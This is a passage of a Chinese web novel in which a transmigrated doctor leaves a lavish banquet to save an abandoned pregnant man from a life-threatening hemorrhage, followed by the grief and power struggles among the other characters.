二十四盏巴洛克枝形烛台将琥珀色光晕泼洒在大理石廊柱间,氤氲出一片金碧辉煌,意大利手工羊毛地毯以波斯蓝为底, 蜿蜒的金丝刺绣夺人眼球,空气里浮动着白松露与陈年红酒交织的醇香,各界名流衣着华美,谈笑风生间,尽显生日宴会的奢靡与浮华。 郁瑟的目光,在这些金碧辉煌的装饰与盛装打扮的人群中快速掠过,却并未过多停留,他的心思全放在了即将展开的救治行动上。 慕酌月的轮椅紧随其后,目光锐利地扫视着四周,似乎在寻找着什么。 柳明轩在柳氏夫妻的陪伴下,从二楼的楼梯间慢慢走下,这小少爷果真像文字中描述的一样。 精致、漂亮,珠堆玉砌。 郁瑟的胸腔内此刻已然充满着怒火。 尤其在看到所谓的柳少爷被众星拱月地捧了出场,那养尊处优、嚣张跋扈的神情,仿佛整个世界都在他的脚下。 郁瑟紧握起拳头,指甲几乎要嵌进掌心。 原本,他是为了上次那个疑似怀孕的外卖员,才求到慕酌月这边的。 现在,郁瑟的心里只关心着另一个人的命运。 那就是付清元! 郁瑟看过书中的剧情介绍,知道付清元今夜的可怜遭遇。 与现在眼下的柳明轩,外加可恨的柳家夫妻一比较,更是讨厌到七窍生烟的程度。 偏偏这柳明轩和他的假爹妈不识好歹,看到慕酌月之后,居然像是嗅到蜜糖的苍蝇一般迎面走了过来。 郁瑟想走开,被慕酌月假装不知情,顺势抓住手腕说,“这柳家的少爷明面上是庆祝生日,实际上是邀请来龙城的青年权贵们,暗中挑选以后可以联姻的对象。” “医生,你稍微帮我挡一挡,等一会儿,我给你想要的信息。” 郁瑟被他捏住的手腕像是箍上一道镣铐,紧得要命。 慕酌月顺势将手指塞入郁瑟的指缝间,转手十指交握轻轻扣住。 “放心,我不会让你为难太久。”他的声音低沉而温柔,自带一种运筹帷幄之中的沉稳魅力。 郁瑟能感受到从他掌心传来的温度,心说原来这一切都是有所预谋的啊。 柳明轩在柳博超夫妻俩的呵护下,基本上已经跟龙城大半的权贵少爷们见了面。 柳明轩从小锦衣玉食,生得轻柔娇美,看起来也温良无害,实际上内心早把那些贵公子们吐槽得一无是处了。 不是太油腻,就是太猥琐,要不然就是对他不怎么感兴趣,反正瞧来瞧去,都是一群乌合之众。 根本没有一个人比得上枫音尘的美貌与身姿。 柳夫人隐隐看出宝贝儿子早腻烦了,禁不住低声规劝说,“轩轩,你的眼界高一点是不错,不过也不要太高了。” “枫音尘那种人只能远看,你若是过日子,还是得挑选一个有钱又靠得住的,模样一般英俊就可以了,再加上你爸爸的势力,这样他才会把你当作掌上明珠似的疼爱。” 叫柳明轩找一个比枫音尘丑的,讲真的,柳明轩真怕自己看着对方的脸会影响食欲。 但若是要他求着去贴枫音尘?对方的冷嘲热讽也足够他喝一壶的了。 柳明轩从小娇生惯养,哪里受过这等委屈,自然是不会去低声下气地求人的。 他哼了一声,说道:“我才不要呢,我要找一个比枫音尘更好看的,比他更有钱的,比他更有权势的,让他后悔当初那么对我!” 柳夫人听了这话,不禁有些头疼。她知道自己这个儿子心高气傲,但也没想到他会这么固执。 哪知柳明轩忽然像是找到了一个全新的目标,拉住父亲柳博超的手臂,摇了摇道,“爸爸,你快看,那个坐在轮椅上的人是谁?我怎么从来没有见过他啊!” 柳博超沿着儿子的指使,不看不知道,一看清轮椅上的男人面孔时,立刻情不自禁地拉着儿子走过去。 “慕先生,”柳博超的年龄比慕酌月的要大二十岁不止,可是在看到对方时,居然换上一副恭敬的神情,主动示好道,“今天真是贵客迎门啊!” 柳博超的热情好客,在慕酌月的眼底,连狗屁都不值。 他拉着郁瑟的手,慢慢地揉着郁医生的手指,像是真正的情侣一般亲昵无间。 郁医生的手指很匀称,指腹圆润,透着淡淡的粉色,如同初绽的樱花般娇嫩。 慕酌月的眼神温柔得仿佛能滴出水来,他轻轻地摩挲着,仿佛那是世间最珍贵的宝物。 这暧昧至极的一幕落在柳博超和柳明轩的眼里,无疑是极大的震撼。 他们从未见过慕酌月对任何人如此温柔,更别提是这般亲密无间的举动。 柳明轩张大了嘴巴,一时之间竟忘了反应。而柳博超则心中暗惊,他深知慕酌月的身份地位,能让他如此对待的人,绝非池中之物。 郁瑟被慕酌月的举动弄得有些尴尬,他轻轻抽回手,低声提醒道:“慕先生,这是在公共场合。”慕酌月却像是没听到一般,依旧紧紧握着不放,嘴角勾起一抹浅笑,那笑容里满是宠溺与占有。 空气似乎都凝固了,周围的人都屏息凝视着这一幕,心中各自揣测着慕酌月与郁瑟之间的关系。 而慕酌月,仿佛完全沉浸在自己的世界里,眼中只有郁瑟一人。 柳博超不得不拉走柳明轩和柳夫人,示意着不要打这个姓慕的主意。 柳博超对儿子教育道,“你的眼光太好了,不是看中枫音尘,就是看中这慕酌月,只可惜啊” 这两个都绝非池中之物,不是咱们柳家可以随便觊觎的。 柳明轩生气了,不禁撅起嘴道,“爸爸,你自己就是龙城最厉害的地产大佬,宴会上这些人哪个不是看你的脸色行事?你怎么能长他人志气,灭自己威风呢!再说了,那慕酌月虽然厉害,可也不一定就比爸爸你强多少啊!” 柳博超笑了,“生意场上的事情你不懂,俗话说,宁可得罪十个君子,也不能得罪一个小人。慕酌月这人,看着温文尔雅,实则心思深沉,手段凌厉,不是我们能轻易招惹的。” “你若是非要跟他在一起,恐怕会被吃得死死的。” 尤其,慕酌月从植物人状态一苏醒,立刻跟他的前妻沈宏离婚,无情冷酷得厉害,完全不跟任何人讲情面的。 柳明轩还是不服气,皱眉想说什么,结果,远处的人群里又出现了一个顶级帅哥。 这个帅哥正是最近风头正盛的影帝付博雅,只见他身形修长挺拔,面容俊朗非凡,每一步都散发着迷人的气质。 影帝的出现,瞬间吸引了周围所有人的目光,大家只会对着他的脸孔痴痴地笑,连空气都仿佛凝固了一般。 “付博雅,我也很喜欢!” 柳明轩立刻甩掉之前在慕酌月那里讨到的无趣,转而兴致勃勃地凑了过去。 眼见柳家人一走,郁瑟完全不能再等下去,直接将慕酌月的手甩开,揉了揉被捏得汗涔涔的手指,言道,“好了,慕先生,我这牺牲应该能换得你的一条信息了吧?” 慕酌月落空的手微微紧握成拳,而后佯装成自然而然似的,落在轮椅的扶手间,不停地敲击着上面的金属片。 他说,“当然,只是有一件事很有趣,说来给你听听,当作讲个笑话,讨你欢欣也是不错的。” 郁瑟:谁稀罕跟你在这里打情骂俏,快说话啊! 慕酌月道,“那个外卖员的信息其实很容易查到,而且我连他的住址,也已经弄到手了。” “不过” 郁瑟将手揣进兜里,心中默念,烦死啦烦死啦!你们这些人能不能不要装逼卖关子,我还准备要去救付清元哪!! 慕酌月说,“给你讲一件更加凑巧的事情,那个外卖员,跟这个柳家,有一定的联系,他是” 啊啊啊啊!! 没想到啊没想到,没想到狗血小说里的桥段像是北京的立交桥一样,竟然一环扣一环,环环相扣! 郁瑟觉得自己的脑子有些不够用,这剧情发展得也太离奇了点,心底积累的愤怒,与刚涌上来的兴奋,互相撞击,互相交织。 令他整个人都在熠熠生辉。 郁瑟一把扯住慕酌月的衣领,言道,“是不是叫付清元,是不是叫付清元!!” 慕酌月被他快要勒得喘不过气,算是为了郁瑟好,避免被周围的眼睛看见,明天被迫登上头版头条。 用手盖住郁瑟的手,打掩护似的说着,“没错。” 郁瑟:“!!!!” 慕酌月说,“我知道这个付清元的住址” 依照剧情的安排,付清元此刻正伤心绝望地倒在小宾馆里,腹痛如同绞肉一般,将他整个人撕碎。 “你这边先等一下。”郁瑟一把甩开手里的衣领。 我还需要另一个人。 郁瑟不停地朝四周寻找,最终看见付博雅站在宴会厅的角落。 他一身笔挺的西装,手中端着一杯红酒,正在和柳明轩说着什么,看起来神情恹恹的,不是很想搭理柳明轩的样子。 郁瑟快步走过去,直接打断了他们的对话,“付博雅,我现在需要你的帮助。” 付博雅有些惊讶地看着他,显然没想到郁瑟会突然找上自己。 但他很快就恢复了平静,问道,“什么事?” 柳明轩一瞧,这不是刚才被慕酌月拉着手搞暧昧的男人吗? 怎么,现在又来抢付博雅了? 怎么,全天下的优质型男都是你的呀!!! 郁瑟一把将假少爷拦开,时间紧迫极了,绝对不允许在关键剧情时,再横生枝节。 他对付博雅这个书中角色算不上喜欢,自从知道剧情之后,甚至觉得对方的冷酷十分令人心寒。 但是,付清元要死了。 假如在付清元的潜意识里,对付博雅有很深的情感,那么这份感情在关键时刻,能帮助付清元产生很强的求生欲望。 付博雅这个工具人,应该有点用处。 郁瑟不觉冷了几分道,“现在有人等着你去拯救。” “要不然,你就继续给假货过生日。” 郁瑟淡淡扫了面色不虞的柳明轩一眼。 “要不然你就死老婆孩子。” 极限二选一,看你怎么选吧。 第77章 第 77 章 你要好好活着 付博雅的表情变得复杂起来, 他无法理解郁瑟话中的含义,尤其是“死老婆孩子”这种极端的言论,令他不禁皱起了眉头。 幸亏之前两人吃过一顿饭, 付博雅知道对方是枫音尘的人, 否则像他这种性格,早就要扭头走人了。 眼下,他更关心的是郁瑟为何会出现在这里, 还说出如此惊人之语。 付博雅深吸一口气, 努力平复自己的情绪,缓缓开口:“郁医生, 这里是公众场合, 我们之间讲的每一句话都会被无数人听见,所以我希望你能注意一下自己的言辞, 不要引起不必要的麻烦。” 一旁被拦开的柳明轩才不管三七二十一, 准备大声喊出口问:“你在说什么鬼!你怎么敢当众说,付影帝居然有老婆?!还有孩子?!” 若是他真得不知轻重地喊出口,今天这场闹剧势必要引起轩然大波, 不仅会给付博雅带来无尽的麻烦, 还会让他目前参与的剧组陷入舆论的漩涡。 恰好慕酌月的智能轮椅碾压了过来,蹭住柳明轩的高级小牛皮皮鞋,压住了脚面。 柳明轩:“啊啊,好痛啊, 我的脚!!” 慕酌月平静地操作着智能轮椅向后挪开, 言道, “奇怪,我怎么没看到你?” 虽然只是一瞬间的疼痛,但是最后那句毫无歉意的话, 才是真正的一招致命。 柳夫人听见儿子的一声惊呼,快速过来将准备发怒的柳明轩哄走。 而柳博超的眼神中闪过一丝警告,轻轻摇了摇头,示意柳明轩不要冲动。 “你在说什么?我为什么要去拯救谁?又怎么会死老婆孩子?”付博雅的声音中带着一丝不悦和疑惑,但声音压得很低,不能再更多地引起周围人的注意。 郁瑟道,“其实是付清元,他现在有生命危险。”犹豫了一下,最终没有再提孩子的事情。 付博雅闻言,瞳孔猛地一缩。他没想到郁瑟提到的竟然是付清元,那个从小和自己一起长大的家伙,总爱纠缠着自己摇尾巴的弟弟。 ——一个最后选择跟其他男人不清不楚的恋爱脑。 他看向郁瑟,眼神中闪过一丝冷酷无情,虽然他对这个宴会并不感兴趣,但对郁瑟的提议也没有产生任何动摇。 “郁医生,你应该不是受到了柳家少爷的请求,故意来引我过去的吧?” 在付博雅的认知里,付清元早已经离开付家,成为了柳家独一无二的真少爷,从此享受人间富贵,与自己再无瓜葛。 他一直以为,付清元会选择遗忘过去,彻底融入柳家的奢华生活,与自己这个曾经的“哥哥”彻底划清界限。 或许,这真的是一种新型骗术? 就像上一次,付清元找借口,把他骗得失去理智一样。 郁瑟一听这样的对白,已经知道对方真得像小说中描写的那样,是个表演的疯子,情感的白痴。 据书上的剧情描写,付清元死得无声无息,最后被警察找到了柳家来,也很快被柳家人花钱摆平,仿佛他的生命从始至终都不值一提,只是柳家辉煌历史中一个微不足道的污点。 原本,付清元的一生应该是灿烂盛大的啊! 而付博雅,一直顺顺利利地活到了六七十岁,无数次登顶了人生的巅峰,却始终不知付清元的最终结局。 他这漫长的一生,时常会与付清元的影子斗争,却永远也弄不清楚,自己对于付清元究竟属于什么感情。 只是兄长没有刹住车的危险关爱 或者喜欢。 每当夜深人静,付博雅总会回想起与付清元的点点滴滴,那些曾经共度的时光,几日月累却成了他心中最深的痛。 岁月流转,直到付博雅在七十五岁高龄的时候,才意外得知了付清元的死亡。 包括怀中胎儿的部分。 最后付博雅疯了。 谁也想不明白他究竟为什么会疯,曾经最爱他的那个人早已经变成一抔黄土,永远不会干扰到他的生活才对啊。 书上说,是因为他在得知真相的那一刻,终于意识到自己内心深处对付清元那份被压抑已久的情感;书上还说,是因为他在漫长的岁月里,始终无法释怀那段与付清元纠缠不清的过往。 郁瑟看了眼他这种情况,大概是没有必要再救了,对付博雅言道,“祝你好好地活到七十岁,一定。” 郁瑟冲他比划了一个小手指的手势,转身对一直冷眼旁观的慕酌月道,“给我地址,我自己一个人去。” 慕酌月为了讨得郁瑟的欢欣,正是需要这个最为关键的时机作为跳板的。 “郁医生,是发生了什么特别危险的事情吗?你的脸色看起来特别不妙。” “来吧,我亲自带你过去,好歹我身边的人多,关键时刻给你搭一把手。” 郁瑟立刻感激道,“那就有劳了,慕先生。” 两人的出场便是乘风携月般引人侧目,即使离去,也如同流星划过夜空,留下一抹绚烂而短暂的轨迹。 付博雅立刻陷入某种不自觉的沉思之中,随后,开始用目光仔细打量着宴会内的每一个角落。 其实他早已经注意到了一点异常。 被柳家认回去快一年时间的付清元,确实没有在生日宴会中出现的痕迹。 像是人间蒸发了似的 难道!!. 付清元失魂落魄地回到了暂时登记的破烂小宾馆,因为他的腹部剧痛得快要死了,一点往前走的动力都没有。 付清元不是不想去医院,只是他现在的状态极其不好。 是的,他的求生意识正在逐渐消亡,包括对肚子里的小生命,也失去所有的期待和留恋。 他蜷缩在泛黄的床单上,双手紧紧捂住腹部,脸色苍白如纸,豆大的汗珠不断从额头滑落,滴落在床单上,瞬间被吸收,留下一片片深色的痕迹。 原本,今夜付清元是回过一次柳家的。 然而,柳家的管家将他阻拦在门外,看他一脸倒霉鬼的模样,更是趾高气扬地叫他快滚。 这个家现在已经没有他的容身之所了。 管家问他,“你舔着脸来,有给小少爷准备生辰礼物吗?” “没有的话就滚吧,瞧你这副寒酸的模样,即使老爷夫人看了,也只会觉得晦气!” “小少爷一点也不喜欢你,你在这里出现,只会叫一家人不痛快。” “还不快夹着尾巴滚?!” 付清元并没有尾巴,他今天突然回来,也只是想豁出一点颜面,求求亲生父母帮他一把。 他害怕,他真的好害怕。 即使已经做了几个月的准备,但是真得要从肚子里面生出一个孩子来。 他也真的感到了前所未有的恐慌。 他只是想请父母给他一点帮助,或者帮他找个可以生孩子的医院,叫他能顺利地生下这个孩子来。 他一个人,真的是不行的! 付清元又偷偷给付博雅打了电话。 接听倒是接听了。 不过是付博雅的经纪人接听的,对方劝他要识相一点,不要总是打扰付博雅,说付博雅现在正是事业发展的关键时期,不能受到任何负面新闻的影响。 付清元握着手机,手指微微颤抖,他明白自己的请求是多么地不合时宜,但他真的没有办法了。 现在,他的全部希望落空了。 现实总是那么残酷,他的亲生父母嫌弃他,他曾经务必信赖的哥哥远离他。 或许,他就不该出现在这些人的面前。 包括这个不被任何人所欢迎的孩子。 剧烈的疼痛让付清元几乎无法思考,只能本能地喘着粗气,每一次呼吸都像是用尽了全身的力气。 他的眼神空洞而迷茫,仿佛已经看到了生命的尽头。 在这个狭小而阴暗的房间里,付清元感到了前所未有的孤独和无助,他不知道自己还能坚持多久,也不知道未来的路在何方。 肚子里的小生命似乎也感受到了父亲的绝望,开始剧烈地躁动起来,但这反而加剧了付清元的痛苦。 他只能闭上眼睛,任由泪水悄然滑落,心中充满了悔恨和无奈。 他不应该过这样可悲的生活的! 他更不应该,把希望寄托在不值得的人身上! 即使,他现在死了,也没有人会记得他的。 更不会有有人记得,这个根本就没有人期待过的孩子! “就”付清元的嘴角,狠狠地咬出了血珠,这些带着体温的血液,是他这一生唯一温暖的东西。 ——他现在连这些,都已经不打算要了,放弃了。 所以,更多更热乎的血液,从他的双腿之间开始流淌,冲刷着单薄的床单。 直到付清元的眼睛,变得空洞起来 小旅馆的门被谁一脚踹开,发出的巨响打破死亡产生的寂静,一道浑浊的微光,顷刻间覆盖在了付清元的眼帘前。 是郁瑟! 他完全等不及小旅馆的服务员拿来钥匙,直接上脚了,其后果就是右腿被震得奇痛无比,余后还有强烈的阵麻感。 可是一切都顾不得了。 郁瑟扑上去一瞧付清元的状态,堪称惨不忍睹。 他的衣衫已经被血液浸透,脸色白得吓人,双眼空洞无神,仿佛已经失去了所有的生机。 郁瑟的心中一紧,他立刻朝后面跟来的慕酌月道。 “我需要你帮忙联系附近最近的医院,我需要他们最好的外科医生,还有!!” “血,我要血库提供足够的血液备用,他的情况危急,每一秒都不能再耽误了!!” 慕酌月闻言,立刻拿出手机,手指快速地在屏幕上滑动,联系着医院,安排着一切。 郁瑟则小心翼翼地将付清元从床上抱起,尽量不碰到他身上的伤口。 即使是郁瑟,都能轻易地抱起这个孱弱的男生,这令郁瑟感到无比的心痛。 他朝着素未蒙面的陌生人高声喊着,“付清元,我叫郁瑟,我是一名医生,请你相信我,也相信你自己!” “你要好好活着!!” “即使不是为了任何人,你都要为自己好好活着!!!” 第78章 第 78 章 活着 付博雅的右眼皮一直跳了十几秒钟, 这种现象特别不正常,心里不由得升起一股莫名的不安。 如他这种内敛沉冷的性格,居然也会有被超自然力所控制的一天。 即使心底依旧存有疑虑, 付博雅还是将电话拨打到了枫音尘手里。 他已经追不上郁瑟的脚步, 但是枫音尘一定可以。 毕竟两人是情侣关系。 枫音尘一直在家里等待着郁医生的电话,所以他比付博雅更加需要知道对方的去向。 因为不想让郁瑟讨厌自己的控制欲,所以枫音尘一直没有在明面上安排私人保镖跟着郁瑟。 但是暗中不算在内。 枫音尘得知郁瑟此刻正在一所甲级医院进行紧急手术, 心里顿时紧张得如鼓点般快速跳动。 毕竟人好好地去柳家参加晚宴, 怎么毫无预兆得就跑去了其他医院。 路上,他不断拨打郁瑟的电话, 尽管知道此时对方可能正在手术室中, 无法接听。但那份焦灼与不安,让他无法自主地按下停止键。 枫音尘和付博雅几乎是在同一时间赶到医院手术室门外的。 所以, 枫音尘第一次看到了坐在轮椅里的慕酌月。 他对这个人的印象, 全部来自于私人秘书搜罗来的资料信息。 而慕酌月这个只存在于各大传闻的男人,正安静如画地坐在轮椅里。 引得枫音尘完全懒得理睬付博雅,将全部的注意力, 悄悄地集中在轮椅大佬身上。 现在, 枫音尘不得不更加注意这个男人。 毕竟依照枫音尘的预测,手术室里一定有个人,是慕酌月此刻正在挂心的存在。 但绝对不是手术台上的。 因为慕酌月的神色如常,一点也不像付博雅一般冷寂, 仿佛一座冰封的雪山, 内里翻滚着炽烫的岩浆。 慕酌月的眼神平静如水, 仿佛手术室内的一切都与他无关,他只是静静地等待着某个结果。 这种淡然自若的态度,让枫音尘不禁讨厌。 这个姓慕的绝逼是在等他的瑟瑟。 枫音尘打量着慕酌月的同时, 慕酌月也同样在悄无声息地窥视着枫音尘。 不得不说。 他塑造的这个NPC果然够漂亮,完全不像是一本书所能轻易达到的高度,而更像是经过浓墨润色的妙笔丹青,每一个细微的表情,每一次眼神的流转,都恰到好处地展现了他的魅力,仿佛这个NPC真的拥有了生命,活生生地站在那里。 慕酌月在心中暗自生恨,对面这个花瓶凭白地占了皮囊的便宜,才哄得书籍里的郁瑟倾心相对。 恨死了!恨死了!恨死了!! 两人之间虽然从始至终未交谈过任何一句话,实际上眼神里的刀光剑影已经互杀对方上万次了。 付博雅则强迫自己安静地沉淀在另外一种心境之中,旁人看他只是双臂环抱得立在那里,实际上早已经双手冰凉,不提地打着轻颤。 为什么会这样?! 为什么会这样?! 他在紧张什么?他在紧张付清元吗?应该不是,绝对不是! 元元应该不会有事的,假如他有事的话,我一定要他那个男朋友去死!! 时间过去了几个小时,正在所有人都等待到快窒息的程度时。 手术室的灯终于灭了,主治医生推开门走了出来,脚步沉重且一脸疲惫。 所有人的目光瞬间聚焦在他身上,尤其是付博雅,紧张地等待着他的宣判。 主治医生摘下口罩,深吸了一口气,似乎在整理思绪,然后缓缓开口:“我们已经尽力了,手术中保住了大人的性命。” 可是。 “孩子因为缺氧时间过长,没有抢救过来。” 这句话像一把锋利的刀,瞬间刺进了付博雅的心脏。他的脸色瞬间变得苍白,双眼无神,整个人仿佛被抽离了灵魂。 他这辈子从未经历过这种残酷的感受,以至于冰封似的外壳产生了巨大的裂纹。 一阵强烈的眩晕使得他的身体摇摇欲坠。“不,不可能,这不是真的!”付博雅失控地小声嘀咕,“元元怎么可能真的怀孕,他是一个男人啊!而且他居然怀孕了!他为什么怀孕了从不跟我讲!” “他不是回到了柳家去,做了柳家的小少爷!” “他怎么可能怀孕,他怀孕的事情,完全没有人告诉我!” 主治医生无奈地摇了摇头,他理解家属的心情,但事实已经无法改变。 “请节哀顺变,我们已经尽力了。”主治医生再次重申,然后轻轻地拍了拍付博雅的肩膀,转身准备离开。 付博雅呆立在原地,泪水无声地从眼角滑落,他感觉自己仿佛置身于一个冰冷的黑暗中,无法逃脱,也无法呼吸,所以他一把拉住医生的手,声音哽塞道,“那元元呢?我是说付清元呢?他怎么样?” 一切的混乱感使得人已经彻底忘记医生说过的,付清元已经脱离了危险期的事情。 枫音尘才不管他发什么疯,尤其听到孩子没有抢救过来的这句话,他更加担心的是郁瑟。 所以,枫音尘一把扯开了碍事的家伙,对主治医生问道,“手术室里应该还有一个医生,他去哪里了?我需要立刻找到他。” 慕酌月一听,也觉得蹊跷,原本他是亲眼看见郁瑟跟着一起跑进手术室的,怎么出来的医生却是另外一位。 主治医生也是被医院强行叫来加班的,对枫音尘说,“那位医生从另外一道门出去了。” 没错,郁瑟知道慕酌月在手术室的门外,所以换了另外一个门出去。 枫音尘立刻流露出一副更为紧张的表情,开始奔跑了起来。 他这辈子还从未如此慌张无措过,以至于艳丽绝伦的五官间,浮现出一股前所未有的狰狞,那种感觉仿佛要将他整个人吞噬一般。 枫音尘心跳如鼓,每一步奔跑都似乎在与时间赛跑,与命运抗争,脑海中不断浮现出郁瑟的身影,那个总是淡然自若、仿佛世间一切都无法触动他的男人,此刻却让他感到前所未有的担忧。 慕酌月也想跟着追过去的,可是他的轮椅限制了行动,所以只能眼睁睁看着枫音尘迅速消失。 枫音尘像是丢了魂儿似的,发疯在医院里来回寻找,最终问了护士医院天台在哪里,一鼓作气冲到了天台上去。 天台的风很大,吹得枫音尘的衣角猎猎作响,他的发丝凌乱,眼神中满是焦急与慌促,不停地环顾四周,希望能看到那个熟悉的身影。 然而周围除了空旷的天台和冷飕飕的风声,似乎什么也没有。 枫音尘心中涌起一股不祥的预感,颤抖着声音,对着空旷的天台大声呼喊:“郁瑟!你在哪里?你给我出来!” 然而,回应他的只有风声和远处传来的模糊声响。 枫音尘心急如焚,他不敢想象郁瑟此刻正处在哪里,尤其是在他如此失态地奔跑寻找之后。 枫音尘一边呼喊,一边沿着天台边缘小心翼翼地行走,生怕错过任何一个角落。 突然,他的目光被天台另一侧的一个身影所吸引。 那身影背对着他,正静静地站在那里,似乎在眺望着远方。 枫音尘心中一紧,连忙快步走过去,当他终于看清那个身影时,不禁松了一口气。 那是郁瑟,他正目光深邃地望着远方,仿佛在思考着什么。 “瑟瑟,你千万不要乱动!!”枫音尘脱掉外面的风衣,一把摁住郁瑟的背脊,顺势将人裹进风衣中央。 郁瑟木然地转过脸来,看着枫音尘,眼中闪过一丝复杂的情绪,最终轻轻地摇了摇头,说道:“我没事,只是有些事情需要想清楚。” 枫音尘闻言,心中五味杂陈。他深深知道郁瑟到底经历了什么,才会让他如此失态地逃离手术室,又如此平静地站在这里。 “你听我说,瑟瑟!”枫音尘摇晃着怀里发冷的人,“不管你怎么爱钻牛角尖,你给我记住!” 枫音尘刚才听见付博雅口口声声喊着付清元的名字,大概就知道是书里哪一对倒霉的cp了。 只是没料想,居然会如此的凑巧,叫郁医生碰到了。 枫音尘比任何人都了解郁瑟,恐怕比起郁瑟本人,更加知道他的一切过往。 郁医生在现实世界里,原本是神经外科的一颗冉冉新星,前途一片光明。 然而,一场突如其来的医疗事故,却将他从云端狠狠拽入谷底。那场手术,他本是主刀,却因为其他人一个的小小的疏忽,导致病人术后感染,最终不幸离世。 这件事成了他心中永远的创痛,也是他逃离神经外科,选择躲进产科来不停地洗刷自己的罪孽。 直至他第一个签字奔赴灾区,将自己的年轻生命贡献在手术台上,借以慰藉那个失去性命的病人。 郁瑟这个人哪,枫音尘是最了解他的。 郁医生骨子里其实是个极其胆小的人,面对失败和挫折,他总是勇往直前。 然而面对神圣的生命,他却保持着极其复杂的虔诚。 仿佛在他的手里绝对不能有任何生命的陨落,若不然,连他自己也应该跟着一起消逝。 这种近乎偏执的责任感,让他在面对每一个新生命时,都如同在进行一场庄严的仪式,不容许有丝毫的差池。 郁瑟笑了,“你也太夸张了,我只是出来透一口气而已。” 不不不!这是郁医生惯用的假笑!! 枫音尘紧紧抱住郁瑟,他能感受到对方身体微微的颤抖,那是内心深处的恐惧和不安在作祟。 “瑟瑟,你给我记住!!”枫音尘自己的声音也因为紧张而干涩着,“两个人里活了一个,你亲眼看见的吧?!两个人里活了一个呢!” 原本,这两个人会在今夜一同消失在茫茫暗夜之中的。 枫音尘道,“因为你的存在,两个人里,还好好的活着一个呢!!” 第79章 第 79 章 谢谢 郁瑟缓了几分钟, 朝枫音尘点了点头,可这动作的僵硬程度,还不如直接摇头给他看。 完了。 枫音尘直觉这种情况非常的不妙, 即使郁医生看起来并没有什么异常, 可是越是看不见的伤痕,越容易扎根在深处。 所以枫音尘决定做一点挽救的措施,当天晚上便直接将付博雅约见了出来。 付博雅的心情沉若玄石, 尤其当他几次三番要求见一眼付清元, 而且直接坐在住院部的走廊里,都没有能看见对方一根头发丝。 枫音尘已经彻底将人监管了起来, 尤其不准他来看。 所以来见枫音尘时, 他也同样是携带着滔天怒意的。 一见面,不等枫音尘开口, 付博雅便直接质问了起来:“我弟弟现在情况到底怎么样了?为什么一直不允许我见他?依照我的理解, 枫家主与我弟弟应该从不认识才对吧?” 枫音尘斜着身坐在红木椅中,完全没拿正眼瞧他的散漫,搓了搓手指间的骨节道, “付影帝的演技确实很逼真, 我就假装认为,你是真得在乎这个弟弟吧。” 他的后面站着几个秘书,将人的背脊虚虚地围着,一副不容挑衅的派头。 付博雅见状, 更是怒火中烧, 他上前一步, 几乎要与枫音尘鼻尖相抵,“枫家主,你这是什么意思?我弟弟刚经历一场生死, 我作为他的哥哥,理应有义务去照顾他吧?” 枫音尘轻轻一笑,那笑容里藏着几分冷意,“付影帝言重了,你们付家只生了你一个儿子,哪里有所谓的弟弟?” “付清元是柳家的孩子,人家肯认你这样的人做哥哥吗?” 付博雅被噎得一时语塞,他确实没有资格,如今付清元在人家手里,他除了妥协,别无他法,但他又不甘心,就这么被枫音尘牵着鼻子走。 深吸一口气,努力平复自己的情绪,“好,枫家主,你说吧,要怎样才肯让我见我弟弟?” 枫音尘缓缓站起身,居高临下地看着付博雅,“有什么可看的,你不是根本不在乎他的死活?” “傅影帝是在荧幕里演多了痴情人设,大概也觉得,自己配做这样的男人了?” 枫音尘想说的其实还有很多,最想脱口而出的是——没有我的瑟瑟出手相助,你现在连骨灰都跪舔不到。 小说里不都写得很清楚吗? 七十五岁等疯。 枫音尘看他一双眼内布满血丝,英俊的面目 逐渐扭曲狰狞,却仍强撑着不愿在人前显露半分脆弱。 枫音尘心中莫名生出一股烦躁,冷冷地移开视线,“除此以外,我代表公司方面,已经决定撤销和你的合作,违约金拿好不送。” 一个秘书从怀里拿出一张金卡,很轻蔑地丢给了付博雅的脚底。 付博雅闻言,瞳孔猛地一缩,他这辈子一直顺风顺水,还从未被人如此轻视对待。 但他居然能忍着不发,而是将金卡一脚踢开,冷傲不挠道,“钱我真的不需要,我只想见付清元一面。” 很多事情。 很多很多事情,他真的很想要问清楚! 枫音尘轻笑一声,语气中满是嘲讽,“那我也可以立刻毁掉你,这是第一次的警告。” 枫音尘完全无心与他纠缠,起身欲走,却被付博雅猛地拽住了衣袖。 付博雅的眼神里,是前所未有的火焰,还有许多难以描摹的疯狂,“你不要太过分!付清元是我弟弟,我有必须要见他一面的理由,你以为你能拿我怎么样?” 枫音尘的眉头微锁,抬手甩开付博雅的手,语气里满是嫌弃。 “你已经把警告的机会用尽了,以后好自为之吧。” 付博雅还想上前纠缠,被其他几个秘书扑过来死死摁住。 他拼命挣扎,怒吼连连,“放开我!你们这群混蛋!我要见付清元!我要见他!我必须见他一面!!!” 但回应他的,只有秘书们毫不留情的动作,将他牢牢压制在地上。 枫音尘整理了一下被拽皱的衣袖,眼神冷漠如冰,“叫他的经纪人来收拾一下。” 秘书们应声,将发疯发狂的付博雅架起,迅速带离。 门重新关上,屋内里恢复了平静,但空气中似乎还残留着付博雅那愤怒而不甘的咆哮声。 枫音尘坐回原位,目光重新落回桌上的文件上,仿佛刚才的一切都没有发生过。 第二天,几乎是全龙城都传遍了,影帝付博雅与恒基的合作彻底告吹。 原本备受瞩目的合作项目,一夜之间成了泡影,各大媒体纷纷猜测其中的缘由,有的说是付博雅得罪了恒基的掌权人,有的说是双方理念不合,最终不欢而散。但无论真相如何,这一消息无疑在娱乐圈掀起了轩然大波,让无数吃瓜群众议论纷纷。 但到了第五天的时候,更加富有爆炸性的消息在龙城传开。 ——付博雅宣布退出娱乐圈,并召开了一场盛大的记者发布会,向公众坦诚了自己长期以来的心路历程。 付博雅面色不佳地表示,自己将暂时离开这个光鲜亮丽的舞台,去寻求内心的平静与真实的自我。 他坦言,娱乐圈的光环虽亮,却也带来了巨大的压力和无尽的喧嚣,让他逐渐迷失了方向。他渴望回归生活的本质,去体验那些被忽略的美好,去寻找那份真正属于自己的快乐与满足。 这一决定,无疑让所有人都震惊不已,也引发了无数的猜测与议论。 但付博雅却坚定地表示,这是他经过深思熟虑后的选择,他愿意承担一切后果。 这一消息如同一颗重磅炸.弹,瞬间在娱乐圈炸开了锅。无数粉丝心碎不已,纷纷表示不敢相信自己的偶像竟然会做出这样的决定。 而一些媒体也开始深挖付博雅退出娱乐圈背后的真相,试图找到更多猛料和爆料。 在这场风波中,恒基集团和枫音尘的名字再次被频繁提及,甚至有人猜测,是恒基的压力和逼迫导致付博雅走上了绝路。 然而这些都是人们的主管臆测,恒基的危机公关部迅速做出了反应,完美地处理一切负面信息。 但这些都影响不到枫音尘。 